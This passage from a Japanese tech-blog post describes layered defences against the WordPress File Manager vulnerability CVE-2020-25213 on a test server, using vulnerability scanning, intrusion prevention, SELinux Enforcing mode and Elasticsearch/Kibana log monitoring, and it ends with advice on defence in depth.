<p>今回は手動で差分検知を実施しましたが、cronで設定することで定期的な自動検知が可能となります。<br>また、ポリシーファイル内でEmailアドレスを設定すれば、ルール違反が発生した際に通知が送信されるので、更に管理が容易になり被害を抑える迅速な対応が可能となるでしょう。</p>
<h3 id="2-脆弱性検知・管理">2. 脆弱性検知・管理</h3><p>日頃から自分が扱う環境に脆弱性が存在するか確認し、パッチを適用しておけば未然に被害を防ぐことができます。今回はFile Managerに潜む脆弱性を検知するためFutureVulsというサービスを使いました。</p>
<p>FutureVulsとは、2016年にフューチャーの神戸氏が開発・公開し世界的に話題になった脆弱性検知ツールOSS Vulsの商用版です。<br>OSS Vulsは管理下のシステムに入っているOSパッケージやライブラリなどのソフトウェア情報を収集し、公開されている脆弱性データベースの情報と関連付け、自システムに内在する脆弱性情報のみをメールやSlack等で関係者に通知できます。OSS Vulsの導入により脆弱性管理を効率化できます。<br>また、商用版のFutureVulsは、スキャン結果をグラフィカルに表示するダッシュボード機能、検知した脆弱性を漏れなく管理できるチケット管理機能、複数の事業部での脆弱性管理が可能なグループ横断管理機能など、OSS Vulsと比較するとより運用・管理を意識した機能が充実しています。</p>
<p>OSS Vuls および FutureVulsの歴史についてはこちらの記事で詳しく説明されています。</p>
<p>https://future-architect.github.io/articles/20201027/</p>
<p>今回は機能がより充実したFutureVulsを使用しました。</p>
<h4 id="検知の実施-1">検知の実施</h4><p>対象のサーバにスキャナをインストールし、スキャンを実施します。<br>WordPressプラグインの脆弱性ということで、WordPress関連の脆弱性情報を2万件以上持つwpscan.comの脆弱性データベースを利用したWordPressスキャンを行います。</p>
<p>スキャンはスキャナのインストール後5分毎に行われますが、手動でも可能です。今回は手動でスキャンしてみました。<br><code>/opt/vuls-saas/vuls-saas.sh</code><br>スキャン後しばらくするとポータルサイトにスキャン結果が表示されました。<br>CVE-2020-25213が検知されていることが確認できます。<br><img src="/images/2022/20220414a/FV_ポータルサイト1_2022-03-25_092729.png" alt="FV_ポータルサイト1" width="1200" height="542" loading="lazy"><br>管理画面では検知された脆弱性情報がまとめられています。<br><img src="/images/2022/20220414a/FV_脆弱性詳細タブ_2022-04-01_112205.png" alt="FV_脆弱性詳細タブ" width="1200" height="636" loading="lazy"></p>
<p>冒頭で触れましたが、CVE-2020-25213が重大なリスクのある脆弱性としてCISAのKEVに登録されていることが詳細タブからも確認できます。<em>➀<br>また、どこから攻撃可能なのかを表す攻撃元区分や攻撃の複雑さといったCVSSの評価も表示されます。</em>➁　今回の脆弱性では攻撃の複雑さが「低」となっており、攻撃が容易であるということが推測できます。</p>
<p>脆弱性検知後は管理画面「タスク」タブからチケットによるタスク管理が可能です。対応に応じて各タスクのステータスを変更したりコメントを投稿して他ユーザと情報共有が行えたりします。パッチが適用されたら次回スキャンでステータスが自動で「PATCH_APPLIED」となります。</p>
<p>その他の機能についてはこちらから確認できます。</p>
<p>https://help.vuls.biz/</p>
<h3 id="3-侵入防御">3. 侵入防御</h3><p>攻撃方法の箇所で触れましたが、今回の脆弱性の原因はconnector.minimal.phpが外部から実行できてしまう点にありました。なので、攻撃用PHPファイルをconnector.minimal.phpファイルに対してPOSTするアクセスをブロックできれば攻撃を防ぐことができます。攻撃クライアントから送られるパケットの中身を確認し不正なアクセス防御を行うためCloud One Workload Securityを使いました。</p>
<p>Cloud One Workload Securityとは、以前Deep Securityという名称で販売されていたもので、サーバ周りの様々なセキュリティ対策が可能な商用サービスです。今回はWAFと同等の機能である侵入防御機能を利用しましたが、他にも以下の機能が利用可能です。</p>
<ul>
<li>不正プログラム対策</li>
<li>Webレピュテーション</li>
<li>アクティビティ監視</li>
<li>変更監視</li>
<li>アプリケーションコントロール</li>
<li>ファイアウォール</li>
<li>セキュリティログ監視</li>
</ul>
<p>本サービスは、エージェントを対象サーバに導入することで利用でき、ポータルサイトで結果を一括で管理できます。<br>また、脆弱性を検知・管理するFutureVulsと連携が可能となっており、FutureVulsで検知した脆弱性情報をもとに関連する侵入防御ポリシーを適用できます。</p>
<h4 id="防御の実施">防御の実施</h4><p>まず、攻撃対象サーバ上でCloud Oneのエージェント（ds_agent）のステータスがactiveになっていることを確認します。その後、攻撃クライアントから攻撃を仕掛けると、エラーが出て攻撃対象サーバに接続できません。</p>
<img src="/images/2022/20220414a/WS_攻撃失敗_2022-03-25_140743.png" alt="WS_攻撃失敗" width="1200" height="520" loading="lazy">

<p>Workload Securityのポータルサイトの侵入防御イベントを見てみると、不正なアクセスが検知されブロックしたことが確認できました。<em>➀　イベントを選択し関連する情報を見てみると、CVE-2020-25213の脆弱性を理由に侵入防御されていることがわかります。</em>➁</p>
<img src="/images/2022/20220414a/WS_侵入防御イベント_2022-04-01_121633.png" alt="WS_侵入防御イベント" width="1200" height="633" loading="lazy">

<h3 id="4-アクセス制御">4. アクセス制御</h3><p>次に、アクセス制御です。</p>
<p>今回の検証では、攻撃クライアントで入力したコマンドが対象サーバ&#x2F;var&#x2F;www&#x2F;html下のファイルやディレクトリに対して実行されてしまう、というものでした。幸いなことに、Linuxにはリソースへのアクセスが指定された条件通りかどうかを監視・制御するSELinuxという仕組みが存在するため、こちらを使用してアクセス制御を行ってみました。</p>
<p>SELinuxにはaudit logへのログ記録のみが行えるPermissiveモードと、ログの記録に加えて不正アクセスをブロックするEnforcingモードがあります。ログに関しては次章で触れるので、ここではEnforcingモードでブロックをしてみたいと思います。</p>
<h4 id="検知・防御の実施">検知・防御の実施</h4><p>まず、現在設定されているモードを<code>getenforce</code>コマンドで確認し、Permissiveであれば<code>setenforce 1</code>でEnforcingモードに切り替えます。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">[root@localhost ~]# setenforce 1</span><br><span class="line">[root@localhost ~]# getenforce</span><br><span class="line">Enforcing</span><br></pre></td></tr></table></figure>

<p>これで準備ができたので、攻撃をしていきます。<br><img src="/images/2022/20220414a/Enforcing_攻撃失敗確認.gif" alt="Enforcing_攻撃失敗確認" width="959" height="987" loading="lazy"><br>ファイルが削除されていないことが確認できました。<br>SELinuxのEnforcingモードを使うことによって、リモートからのコマンドを防御できました。</p>
<h3 id="5-ログの監視">5. ログの監視</h3><p>前章ではSELinuxのEnforcingモードでルール違反のアクセスブロックを行いました。しかし、実際にはEnforcingモードを有効にすると正常なアクセスも拒否されることを懸念しPermissiveモードに留め、ログ記録のみ行っている環境も多いかと思います。ということで今回は、Permissiveモードで取得したログを攻撃防御に役立てるために、Elasticsearchというサービスを使用してログの集約・検索をしてみました。</p>
<p>出力されたログを監視することで攻撃の早期発見・対応に繋げられ、結果的に被害の拡大を防ぐことができるでしょう。</p>
<p>Elasticsearchとは拡張性に優れた全文検索エンジンのことです。他Elastic製品と組み合わせることで、取得したログを集約、検索、分析、検知、アラート、通知、レポートなどに活用できます。<br>Elasticsearchに関する用語の説明やインストール方法はこちらの記事で詳しく解説されています。</p>
<p>https://future-architect.github.io/articles/20200623/</p>
<p>今回は検索するElasticsearch、データをグラフィカルに可視化するKibana、特定のログを収集するFilebeat Moduleを使用しaudit logおよびApacheのエラーログを確認しました。</p>
<h4 id="検知・防御の実施-1">検知・防御の実施</h4><p><code>setenforce 0</code> でSELinuxをPermissiveモードにしアクセス可否のログが記録されるようにしておきます。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">[root@localhost ~]# setenforce 0</span><br><span class="line">[root@localhost ~]# getenforce</span><br><span class="line">Permissive</span><br></pre></td></tr></table></figure>

<p>攻撃クライアントから攻撃をし、テストファイルが削除されていることを確認後、ブラウザからKibanaへアクセスします。<br>Analytics → Dashboardと進み、検索から[Filebeat Auditd]Audit Events ECSのタイトルを選択します。</p>
<p>SELinuxによるアクセス制御の動作はAVC(Access-Vector-Cache)というフィールドを見れば確認できます。<br>avcがdeniedとなっており、アクセス拒否のログが出力されたことがわかります。Permissiveなので実際にアクセスはブロックされずテストファイルは削除されています。<br><img src="/images/2022/20220414a/ES_KibanaAVCdenied_2022-03-29_153632.png" alt="ES_KibanaAVCdenied" width="1200" height="609" loading="lazy"></p>
<p>ちなみにEnforcingモードの場合は実際にアクセスをブロックするため、audit logに加えApacheのエラーログも出力されます。<br>Analytics → Dashboardより確認してみると、Apacheのエラーが出ていることがわかります。</p>
<img src="/images/2022/20220414a/ES_Apacheerrorlogcheck_2022-03-30_114834.png" alt="ES_Apacheerrorlogcheck" width="1200" height="570" loading="lazy">

<p>このように、Elasticsearch、Kibana、Filebeat Moduleを導入することによって、確認したいログをダッシュボードで視覚的に表示できます。</p>
<p>今回はKibanaでのログ確認のみを実施しましたが、章の冒頭で述べたようにPermissiveの設定の場合、不正な挙動を早期に発見・対応するにはログを監視する必要があります。そこでおすすめなのが、X-Packという拡張機能です。</p>
<p>X-Packはアラート、モニタリング、レポートなどの機能を含むパッケージで、不正行為をリアルタイムに検知しアラート・通知させることができます。<br>例えば、今回収集した「audit logのavcの値がdeniedだった場合」「Apacheのエラーログが検出された場合」に「アラート・通知する」と設定しておけばすぐに攻撃に気づくことができるでしょう。</p>
<h2 id="さいごに">さいごに</h2><p>本記事では、WordPressプラグインの脆弱性への攻撃～対策を実施・解説しました。</p>
<p>上記で示したように、アップデートができない場合でも、複数のツール・サービスを組み合わせて多層防御することでより堅牢なセキュリティ対策が行えるため攻撃被害を軽減する可能性が高まります。例えば、ゼロデイ攻撃を受けた場合、Workload Securityでは未対応のため侵入防御できないことがありますが、ファイルの変更監視を行うTripwireを併せて使っていればゼロデイ攻撃への対応有無に関係なく検知ができ、不正ファイルの削除するなどの対応に繋げられます。</p>
<p>このように、一か所の対策が破られても他のものでカバーでき、甚大な被害を避けられる可能性が高まるため、異なる特徴をもつ対策を併用することをおすすめします。</p>
<p>また、有識者の方々に半年間根気強くサポートしていただけたおかげで、「Linuxって何？」なレベルから、仮想サーバ構築～セキュリティ対策までできるレベルに成長できました。この記事で、「フューチャーにはチャレンジする者を応援する環境が整っている」ということが伝わっていれば幸いです。</p>
<p>最後までお付き合い頂きありがとうございました！</p>
]]></content>
    <summary type="html">今回はIT未経験で入社した私が技術面のキャッチアップとして取り組んだ、脆弱性への攻撃および対策方法を共有したいと思います。本記事で、読者の皆さんのセキュリティ分野への関心・理解を深められたり、「文系・IT未経験でも入社半年でこのレベルのことができるようになるのだ！」ということを伝えられたら嬉しいです。今回扱ったのは、WordPressのプラグインFile Managerの脆弱性で、CVE-2020-25213が割り当てられているものです。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="FutureVuls" scheme="https://future-architect.github.io/tags/FutureVuls/"/>
    <category term="JVN" scheme="https://future-architect.github.io/tags/JVN/"/>
    <category term="Vuls" scheme="https://future-architect.github.io/tags/Vuls/"/>
    <category term="脆弱性" scheme="https://future-architect.github.io/tags/%E8%84%86%E5%BC%B1%E6%80%A7/"/>
  </entry>
</feed>
